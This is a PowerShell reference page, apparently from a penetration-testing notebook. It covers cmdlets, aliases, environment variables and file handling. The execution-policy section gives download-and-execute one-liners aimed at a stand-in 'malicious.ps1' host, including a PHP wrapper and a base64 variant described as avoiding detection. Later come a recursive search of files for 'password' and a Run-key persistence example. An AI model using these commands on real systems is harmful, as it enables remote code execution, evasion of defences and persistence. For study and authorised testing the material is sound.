PowerShell
PowerShell Syntax
For PowerShell syntax examples see my scripting page here.
PowerShell Commands
In PowerShell, there are three main types of commands: cmdlets, functions, and aliases.
Cmdlets
Cmdlet is pronounced "command-let". They are instances of .NET classes, not stand-alone executables like in other shell environments. This makes it extremely easy for third parties to extend the functionality of PowerShell without compiling new binaries. Cmdlet names have the form "Verb-Noun" to make them easily discoverable (according to Microsoft anyway!).
Since cmdlets are an actual instance of a .NET class, the output from a command is a bit different than in a traditional command shell. Instead of the common standard-in and standard-out, PowerShell returns an object that contains a number of properties of which a select number are displayed depending on the cmdlet. Objects returned by a cmdlet often have many more discoverable properties and methods that can be manipulated and acted on by those with experience, through experimentation, or by reading the documentation. This makes it extremely powerful.
You can also use them in pretty much the same way as commands in a traditional shell environment without knowing any of this, though you will get much more out of it if you take the time to learn.
cmdlet verbs
Cmdlets are restricted to only a set list of verbs. Nouns can be whatever you want, but should follow Third party developers and scripters are encouraged by Microsoft to only use ones from this list for consistency, but PowerShell will not deny modules that use other verbs from running. The most common verbs are New, Get, Set, and Invoke, though there are many more. You can read more about this here.
The Three Core Cmdlets
If you know how to use these three cmdlets, you can figure out how to use any other cmdlet.
Run Get-Help $cmdlet_name -Examples
for usage
Displays basic help about cmdlets and functions, including examples. To get more advanced examples and information, the help index may need updating with Update-Help
as it is not installed by default (may require admin rights). Similar to Unix man
pages.
Other useful cmdlets
Adds an app package (.appx) that will install for each new user to a Windows image.
Confirms that Secure Boot is enabled by checking the Secure Boot status on the local computer.
Converts object properties in comma-separated value (CSV) format into CSV versions of the original objects.
Converts encrypted standard strings to secure strings. It can also convert plain text to secure strings. Used with ConvertFrom-SecureString
and Read-Host
.
epcsv
Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file.
Exports a certificate or a PFXData object to a Personal Information Exchange (PFX) file.
fl
Formats the output as a list of properties in which each property appears on a new line.
Gets information about app packages (.appx) in an image that will be installed for each new user.
Submits a certificate request to an enrollment server and installs the response or retrieves a certificate for a previously submitted request.
Gets the events in an event log, or a list of the event logs, on the local or remote computers.
gl, pwd
Gets information about the current working location (directory) or a location stack.
gmo
Gets the modules that have been imported or that can be imported into the current session.
Returns a list of all software packages that have been installed by using Package Management.
Imports certificates and private keys from a Personal Information Exchange (PFX) file to the destination store.
measure
Calculates the numeric properties of objects, such as the counts of the characters, words, and lines in string objects, such as from text files.
Creates a Web service proxy object that lets you use and manage the Web service in PowerShell.
Subscribes to the events that are generated by a Microsoft .NET Framework object.
Performs a DNS name query resolution for the specified name. This cmdlet is functionally similar to the nslookup tool which allows users to query for names.
sal
Creates or changes an alias for a cmdlet or other command element in the current PowerShell session.
Turns script debugging features on and off, sets the trace level, and toggles strict mode.
set, sv
Sets the value of a variable. Creates the variable if one with the requested name does not exist.
Sets the system locale (the language for non-Unicode programs) for the current computer.
Sets the language list and associated properties for the current user account.
Creates or updates an instance of an existing Windows Management Instrumentation (WMI) class.
Returns the specified part of a path. Example: cd
to file location:cd (Split-Path -Parent (Get-Command -Name pwsh).Path)
Tests and repairs the secure channel between the local computer and its domain.
wjb
Suppresses the command prompt until one or all of the background jobs running in the PowerShell session are completed.
echo, write
Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline, the objects are written to the console.
Functions
PowerShell functions are reusable blocks of code that can be executed by calling their name. They are similar to cmdlets but are user-defined and can include custom logic. Functions are a core part of PowerShell scripting and automation.
Difference Between Cmdlets and Functions
Definition
Predefined commands written in .NET, provided by PowerShell or modules
User-defined commands written in PowerShell scripts
Performance
Optimized for performance
May be slower depending on implementation
Customization
Limited to parameters and pipeline
Fully customizable, including logic and structure
Examples
Get-Process
, Set-Item
Custom scripts like function MyFunction { Write-Output 'Hello' }
Creating Functions
To create a function in PowerShell, use the function
keyword followed by the function name and a script block:
function Greet {
param (
[string]$Name
)
Write-Output "Hello, $Name!"
}
# Usage
Greet -Name "World"
# Output: Hello, World!
Anonymous Functions
Anonymous functions, also known as script blocks, are unnamed blocks of code that can be assigned to variables or passed as arguments:
# Assigning a script block to a variable
$myScriptBlock = {
param($x, $y)
$x + $y
}
# Invoking the script block
$myScriptBlock.Invoke(5, 10) # Output: 15
Categorized Functions
Security Functions
The following table lists PowerShell functions categorized under Security:
Modifies settings for Windows Defender.
Enables encryption for a BitLocker volume.
Enables a previously disabled firewall rule.
Gets information about volumes that BitLocker can protect.
Retrieves firewall rules from the target computer.
Merges Windows Update .etl files into a single log file.
Creates a new inbound or outbound firewall rule and adds the rule to the target computer.
Configures preferences for Windows Defender scans and updates.
Configures settings that apply to the per-profile configurations of the Windows Firewall with Advanced Security.
Modifies existing firewall rules.
Suspends Bitlocker encryption for the specified volume.
Network Functions
The following table lists PowerShell functions categorized under Network:
Adds a VPN connection to the Connection Manager phone book.
Adds a route to a VPN connection.
Disables a binding to a network adapter.
Gets DNS server IP addresses from the TCP/IP properties on an interface.
Gets one or more host bus adapter (HBA) initiator ports.
Gets the basic network adapter properties.
Gets the VMQ properties of a network adapter.
Gets a connection profile.
Gets IP network configuration.
Gets the IP address configuration.
Gets an IP interface.
Gets TCP connections.
Creates and configures an IP address.
Creates a new NIC team.
Creates a NAT object.
Creates a route in the IP routing table.
Removes an IP address and its configuration.
Sets DNS server addresses associated with the TCP/IP properties on an interface.
Sets the basic network adapter properties.
Sets the VMQ properties of a network adapter.
Changes the network category of a connection profile.
Modifies the configuration of an IP address.
Modifies an IP interface.
Displays diagnostic information for a connection.
PoSh Functions
The following table lists PowerShell functions categorized as PowerShell-specific):
Finds modules from an online gallery that match specified criteria.
Gets installed modules on a computer.
Gets PowerShell repositories.
Downloads one or more modules from an online gallery, and installs them on the local computer.
Invokes Pester to run all tests (files containing *.Tests.ps1) recursively under the Path
Registers a PowerShell repository.
Saves a module locally without installing it.
Sets values for a registered repository.
Uninstalls a module.
Downloads and installs the newest version of specified modules from an online gallery to the local computer.
Updates a script.
Scheduled Tasks Functions
The following table lists PowerShell functions categorized under Scheduled Tasks:
Gets the task definition object of a scheduled task that is registered on the local computer.
Gets run-time information for a scheduled task.
Creates a scheduled task instance.
Creates a scheduled task action.
Creates an object that contains a scheduled task principal.
Creates a new scheduled task settings object.
Creates a scheduled task trigger object.
Registers a scheduled task definition on a local computer.
Modifies a scheduled task.
Unregisters a scheduled task.
Printer Functions
The following table lists PowerShell functions categorized under Printer:
Adds a printer to the specified computer.
Installs a printer driver on the specified computer.
Installs a printer port on the specified computer.
Retrieves a list of printers installed on a computer.
Removes a printer from the specified computer.
Updates the configuration of an existing printer.
Storage Functions
The following table lists PowerShell functions categorized under Storage:
Cleans a disk by removing all partition information and un-initializing it, erasing all data on the disk.
Formats one or more existing volumes or a new volume on an existing partition.
Gets one or more disks visible to the operating system.
Returns a list of all partition objects visible on all disks, or optionally a filtered list using specified parameters.
Gets a list of all PhysicalDisk objects visible across any available Storage Management Providers, or optionally a filtered list.
Returns information about long-running Storage module jobs, such as a repair task.
Returns a list of VirtualDisk objects. This can be across all storage pools, across all providers, or optionally as a filtered subset.
Gets the specified Volume object, or all Volume objects if no filter is provided.
Initializes a RAW disk for first time use, enabling the disk to be formatted and used to store data.
Mounts a previously created disk image (virtual hard disk or ISO), making it appear as a normal disk.
Creates a new partition on an existing Disk object.
Creates a new storage pool using a group of physical disks.
Creates a new virtual disk in the specified storage pool.
Creates a volume with the specified file system.
Optimizes a storage volume.
Removes a physical disk from a specified storage pool.
Performs repairs on a volume.
Resizes a partition and the underlying file system.
Takes a Disk object or unique disk identifiers and a set of attributes, and updates the physical disk on the system.
Sets attributes of a partition, such as active, read-only, and offline states.
Sets attributes on a specific physical disk.
Utility Functions
The following table lists PowerShell functions categorized under Utility:
Clears the display in the host program. Alias: clear
or cls
Creates an archive, or zipped file, from specified files and folders.
Extracts files from a specified archive (zipped) file.
Computes the hash value for a file by using a specified hash algorithm.
Creates a GUID.
Sets the current Windows clipboard entry.
SMB Functions
The following table lists PowerShell functions categorized under SMB:
Retrieves the connections established from the SMB client to the SMB servers.
Retrieves basic information about the files that are open on behalf of the clients of the SMB server.
Retrieves the SMB server configuration.
Retrieves information about the SMB sessions that are currently established between the SMB server and the associated clients.
Retrieves the SMB shares on the computer.
Retrieves the ACL of the SMB share.
Adds an allow ACE for a trustee to the security descriptor of the SMB share.
Creates an SMB mapping.
Creates an SMB share.
Sets the SMB client configuration.
Modifies the properties of the SMB share.
Sets the SMB Service configuration.
Apps Functions
The following table lists PowerShell functions categorized under Apps:
Gets the names and AppIDs of installed apps.
Hardware Functions
The following table lists PowerShell functions categorized under Hardware:
Returns information about PnP devices.
Aliases
There are many built-in aliases for the most commonly used cmdlets. The developers wanted to make cmd.exe and Unix users feel at home, so many of those basic commands will function in a similar way. Here are some commonly used examples. You can use the Get-Alias
cmdlet to see the full list.
Get-ChildItem
ls
dir
gci
Get-Content
cat
type
gc
Set-Location
cd
chdir
sl
Check the Version of PowerShell
$PSVersionTable
Script Execution Policy
The Script Execution Policy in PowerShell is a security feature that determines the conditions under which PowerShell scripts are allowed to run. This is important because it helps prevent the execution of malicious scripts by enforcing restrictions on script execution. Understanding and configuring the Script Execution Policy is crucial for maintaining a secure environment while using PowerShell.
Bypassing these restrictions is trivial, however, depending on the scope of the change. Attackers do this to execute scripts, escalate privileges, or maintain persistence on a compromised system. By knowing the execution policy and its limitations, attackers can identify potential methods to avoid or exploit these settings, such as using the Bypass policy or leveraging misconfigurations.
AllSigned
All .ps1 files must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run.
Bypass
Bypasses checks for whether files are signed, and internet origin is not verified.
Default
The default policies are Restricted (client systems) or RemoteSigned (Server 2016+)
RemoteSigned
All .ps1 files originating from the internet must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run. Allows local scripts and remote scripts if they are signed.
Restricted
All .ps1 files are blocked.
Undefined
There is no execution policy set in the current scope. Reverts to Default policy.
To view current execution policy check use the cmdlet Get-ExecutionPolicy
. If no execution policy is set in any scope, the effective execution policy is Restricted, which is the default for client systems (Windows 10) or RemoteSigned (Server 2016+).
The policy can be changed with the cmdlet Set-ExecutionPolicy
.
Set-ExecutionPolicy $PolicyName
For**Execution-Policy
** bypass methods for privilege escalation and so on see this section.
PowerShell Script Execution Bypass
Get the current PowerShell script execution policy for all scopes with:
Get-ExecutionPolicy -List
Most likely this will be set to Restricted
, but you need to have admin rights to change this (with one caveat later). So, in order to run scripts, you will need to use one of the following bypass methods.
Change Execution Method with -Scope CurrentUser
-Scope CurrentUser
Set-ExecutionPolicy Bypass -Scope CurrentUser -File script.ps1
You can change the Execution Policy for the current user by using the -Scope CurrentUser
argument. This will still not allow you to run scripts in other contexts (such as in scheduled tasks), but all scripts run as the current user will now function just fine. This is the easiest bypass method but requires making a configuration change that could potentially be detected.
Copy and paste script code into PowerShell
The second easiest method is to simply copy and paste the code from the script into a PowerShell console. It may prompt you to verify that you intend to paste multiple lines, simply click "yes". As long as the code does not have any strange formatting that prevents it from running line by line, the whole script will run. If the script contains a function, you can continue to use this function simply by calling its name.
Echo
the script code into PowerShell
Echo
the script code into PowerShellThis technique is similar to the previous, in that you must copy and paste the code from the script into a PowerShell console. However, you must prefix your code with the echo
(Alias for Write-Output
) command and then pipe the copied code into PowerShell.exe
, like below:
echo Test-YourCode | PowerShell -NoProfile -
Using the -Command
Parameter
-Command
ParameterYou can execute a script directly from the command line without saving it to disk by putting it into a code block and using the -Command
parameter:
powershell.exe -NoProfile -Command "& {Get-Process}"
Embedding in a PHP Script
You can embed a PowerShell bypass in a PHP script to execute commands:
<?php
$cmd = "powershell.exe -ExecutionPolicy Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')\"";
system($cmd);
?>
Using Encoded Commands
You can encode the PowerShell command to avoid detection:
$command = "IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
Using Invoke-Expression
Invoke-Expression
You can use Invoke-Expression
to execute a script in memory:
IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Using Get-Content
and Piping
Get-Content
and PipingYou can read the contents of a script and pipe it into PowerShell:
Get-Content script.ps1 | powershell.exe -NoProfile -
This can also be done remotely using a UNC path:
Get-Content "\\RemoteComp\Test-YourCode.ps1" | PowerShell -NoProfile -
For more details on PowerShell bypass methods and their role in privilege escalation, see the Windows Privilege Escalation page.
Environment Variables
Show all current environment variables in PowerShell: Get-ChildItem Env:
Also aliased to: dir env:
or ls env:
or gci env:
Environment variables can be echo
'd or used in scripts by prefixing them with $env:
. Ex:
echo $env:USERNAME
#bob
Convert cmd.exe environment variables to PowerShell:
%SYSTEMROOT% == $env:SystemRoot
You can assign values to Environment Variables without using a cmdlet using the following syntax:
$Env:$var = "$value"
Examples:
$env:username
$env:hostname
$env:path
You can also use the 'Item' cmdlets, such as Set-Item
, Remove-Item
, and Copy-Item
to change the values of environment variables. For example, you can use the Set-Item
cmdlet to append C:\Windows\Temp
to the value of the $Env:PATH
environment variable (see the following section).
Adding a Folder to PATH
Set-Item -Path Env:PATH -Value ($Env:Path + ";C:\Windows\Temp")
To append C:\Windows\Temp
to the PATH , use the following syntax (note the (;
) separator):
$Env:PATH += ";C:\Windows\Temp"
Add a folder to PATH using System.Environment
.NET methods
The System.Environment .NET class provides GetEnvironmentVariable and SetEnvironmentVariable methods that allow you to specify the scope of the variable.
The following example uses the GetEnvironmentVariable method to get the machine setting of PSModulePath
and the SetEnvironmentVariable method to add the C:\Program Files\Fabrikam\Modules
path to the value.
$path = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
$newpath = $path + ';C:\Program Files\Fabrikam\Modules'
Working with Files
Find hidden files
Get-ChildItem -Force
Change file attributes
This can also be used to change file property flags such as Hidden, Archive, and ReadOnly.
$file = (Get-ChildItem $file_name) #can shorten command with gci, dir, or ls
$file.attributes #Show the files attributes
# Normal
#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Hidden
#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Normal
Recursively search for files that contain a certain string
https://superuser.com/questions/815527/way-to-list-and-cat-all-files-that-contain-string-x-in-powershell - look for text in a file and lists its name and contents. These examples are looking for the word 'password'.
Shorthand (aliased) version:
ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}
Remove ;gc $_
to only list the filenames. Then you can extract to Linux and use better text manipulation tools like strings
and grep
.
ls -R | ? { $_ | sls 'password' } | % { $_ ; gc $_ }
The above is expanded for visibility of the individual elements. The shorthand version is condensed for situations where characters are at a premium.
Full version:
Get-ChildItem -Recurse | Where-Object {(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true} | ForEach-Object {Write-Output $_; Get-Content $_}
Explanation:
# Get a listing of all files within this folder and its subfolders.
Get-ChildItem -Recurse |
# Filter files according to a script.
Where-Object {
# Pick only the files that contain the string 'password'.
# Note: The -Quiet parameter tells Select-String to only return a Boolean. This is preferred if you just need to use Select-String as part of a filter, and don't need the output.
(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true
} |
# Run commands against each object found.
ForEach-Object {
# Output the file properties.
Write-Output $_;
# Output the file's contents.
Get-Content $_
}
Aside from the obvious use of aliases, collapsing of whitespace, and truncation of parameter names in the shorthand version, you may want to note the following significant differences between the "full" versions and the "condensed" version:
Select-String
was swapped to use piped input instead of-InputObject
.The
-Pattern
parameter name was omitted fromSelect-String
, as use of that parameter's name is optional.The
-Quiet
option was dropped fromSelect-String
. The filter will still work, but it will take longer sinceSelect-String
will process each complete file instead of stopping after the first matching line.-eq $true
was omitted from the filter rule. When a filter script already returns a Boolean, you do not need to add a comparison operator and object if you just want it to work when the Boolean is true.Also note that this will work for some non-Booleans, like in this script. Here, a match will result in a populated array object, which is treated as true, while a non-match will return an empty array which is treated as false.
Write-Output
was omitted. PowerShell will try to do this as a default action if an object is given without a command. If you don't need all the file's properties, and just want the full path on one line before the file contents, you could use this instead:ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}
Modifying the Registry
Here, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
is given as the path (a popular persistence location!), but any path can be substituted.
# add a new key to registry:
New-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name
# then set its properties with:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$key_value"
# To edit a value that is already set:
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name -Value "$new_value"
MISC
PowerShell.exe location on disk
Windows PowerShell Executables File System Locations on 64-bit Windows
The default paths to the executables for PowerShell and PowerShell ISE on relevant 64-bit Windows operating systems:
When converting cmd.exe environment variables to PowerShell:
%SYSTEMROOT% == $env:SystemRoot
32-bit (x86) PowerShell executable
$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
64-bit (x64) Powershell executable
$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe
32-bit (x86) Powershell ISE executable
$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe
64-bit (x64) Powershell ISE executable
$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe
Windows PowerShell Executables File System Locations on 32-bit Windows
The default paths to the executables for PowerShell and PowerShell ISE on relevant 32-bit Windows operating systems:
32-bit (x86) Powershell executable
$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe
32-bit (x86) Powershell ISE executable
$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe
Downloading files with PowerShell (wget
)
wget
)PowerShell version of wget:
wget:
powershell -c "(New-Object System.Net.WebClient).DownloadFile('$ip:$port/$file','$outfile'))"
You can also use the example below to save the file to the local machine.
wget https://zweilosec.gitbook.io/hackers-rest -OutFile C:\Windows\Temp\out.html
wget
is an alias for Invoke-WebRequest
. Adding -Outfile $out_file
is needed to save the file to disk.
Retrieve file and execute remote code after downloading (in-memory!):
powershell -c "Invoke-Expression(New-Object System.Net.Webclient).downloadString('http://$ip:$port/$file')"
Silence PowerShell error messages
Many PowerShell cmdlets support the -ErrorAction SilentlyContinue
attribute, which works similarly to using 2>/dev/null
in Linux. However, this only works for that cmdlet, not the entire one-liner if you pipe output or use semi-colons, etc. This can be shortened to -EA Silently
.
Unsorted...
PowerShell reverse shell and exploit scripts: nishang
To learn how to use this tool check out Ippsec's video on youtube: Ippsec:HacktheBox - Optimum
Resources
If you like this content and would like to see more, please consider buying me a coffee!
Last updated
Was this helpful?